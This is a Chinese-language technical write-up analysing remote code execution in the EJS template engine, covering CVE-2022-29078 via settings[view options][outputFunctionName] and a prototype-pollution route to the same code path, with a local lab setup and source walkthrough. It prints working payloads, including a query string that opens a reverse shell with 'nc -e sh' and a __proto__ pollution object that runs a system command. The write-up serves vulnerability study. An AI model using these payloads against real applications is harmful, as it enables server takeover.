EjsRCE分析
最后更新时间:
文章总字数:
预计阅读时间:
Ejs模版引擎注入与原型链污染
Ejs概念与基本用法
概念
EJS是一个javascript模板库,用来从json数据中生成HTML字符串
- 功能:缓存功能,能够缓存好的HTML模板;
- <% code %>用来执行javascript代码
感觉,有点像php里面jinja2那种模板,这也许就是为什么ejs也有SSTI注入,都可以动态渲染执行代码。
基本用法
所有使用 <% %>
括起来的内容都会被编译成 Javascript,可以在模版文件中像写js一样
1 | var ejs = require('ejs'); |
CVE-2022-29078:
SSTI分析
漏洞成因:settings[view options][outputFunctionName]
在EJS渲染成HTML时,用浅拷贝覆盖值,最后插入OS Command导致RCE。
先搭个环境:
1 | npm install ejs@3.1.6 |
注意要在项目文件夹下面运行!!不然没办法引用。
再写个app.js
1 | const express = require('express'); |
注意看此时的req.query直接通过render渲染传进了index.ejs
index.ejs
1 | <html> |
源码分析
1 | if (args.length) { |
data获取传递进去的参数
从这张图可以看出我们可以通过传递的参数来设置settings
1 | viewOpts = data.settings['view options']; |
继续跟进,发现将settings的view options赋给了viewOpts,说明我们要在传递参数部分控制的是view options,跟进shallowCopy
1 | exports.shallowCopy = function (to, from) { |
可以发现这是一个类似merge的函数,应该想到了和原型链污染相关,或者说我们可以通过from(可以控制的参数,其实就是viewOpts),来控制to(to就是opts)。
1 | if (!this.source) { |
最终来到这个函数,可以看出将opts的outputFunctionName插入到语句里然后执行了,那这样分析之后整条链子就变得明朗了起来。
我们一开始直接控制settings[view options][outputFunctionName]
,就可以实现RCE。
1 | ?test=AAAA&settings\[view%20options\]\[outputFunctionName\]=x;process.mainModule.require('child_process').execSync('nc%20127.0.0.1%208862%20-e%20sh');x" |
注意转义和语句拼接,这个攻击命令就是利用nc直接反弹了shell
原型链污染分析
其实这个分析和上文差不多,依然是要控制outputFunctionName的值,源码中有merge或者类似的函数的时候可以通过原型链污染来控制值。
依旧先搭个环境
1 | npm install ejs@3.1.5 |
再写个index.js
1 | var express = require('express'); |
test.ejs
1 | <!DOCTYPE html> |
这里也可以看出其实并不需要像第一种一样直接控制render传入的值,这里不管传什么不传都行,因为原型链污染已经污染了Object的属性,每一个继承的对象都会自动带有这个属性。
源码暂时不在这里进行过多分析(其实和上面那个SSTI没啥区别,都是ejs渲染会拼接outputFunctionName这个变量,然后运行代码),一阵跳转引用之后,我们看到了和上面一样的拼接部分:
1 | if (opts.outputFunctionName) { |
于是我们需要把outputFunctionName的值设置为:
_tmp1;global.process.mainModule.require('child_process').exec('calc');var __tmp2"}}
搭配上原型链污染,最终传入的payload:
malicious_payload = {"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('calc');var __tmp2"}}
merge({},malicious_payload)
,通过空对象{}(Object),污染了Object的原型。
参考链接: